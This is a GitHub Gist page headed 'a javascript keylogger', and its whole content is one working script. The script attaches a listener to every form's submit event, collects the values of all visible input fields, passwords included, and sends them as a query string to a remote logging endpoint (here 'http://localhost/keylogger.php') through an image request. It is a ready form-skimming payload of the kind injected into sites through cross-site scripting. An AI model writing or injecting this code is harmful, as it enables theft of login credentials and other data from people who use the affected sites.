-
-
Save j1v37u2k3y/3ee4608299c33fd2d450f8d74da86118 to your computer and use it in GitHub Desktop.
a javascript keylogger
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
function post (event) { | |
var inputs = document.getElementsByTagName("input"); | |
var param = "" | |
for(var i=0; i < inputs.length; i++) | |
{ | |
input = inputs[i]; | |
if(input.type=="hidden"|| input.type=="submit") | |
continue; | |
if(input.value=="") | |
continue; | |
param += input.type+"="+input.value+"&"; | |
} | |
img = new Image(); | |
img.src = "http://localhost/keylogger.php?"+param; | |
}; | |
forms = document.getElementsByTagName("form") | |
for(var i=0; i < forms.length; i++) | |
{ | |
form = forms[i]; | |
form.addEventListener("submit", post); | |
} | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment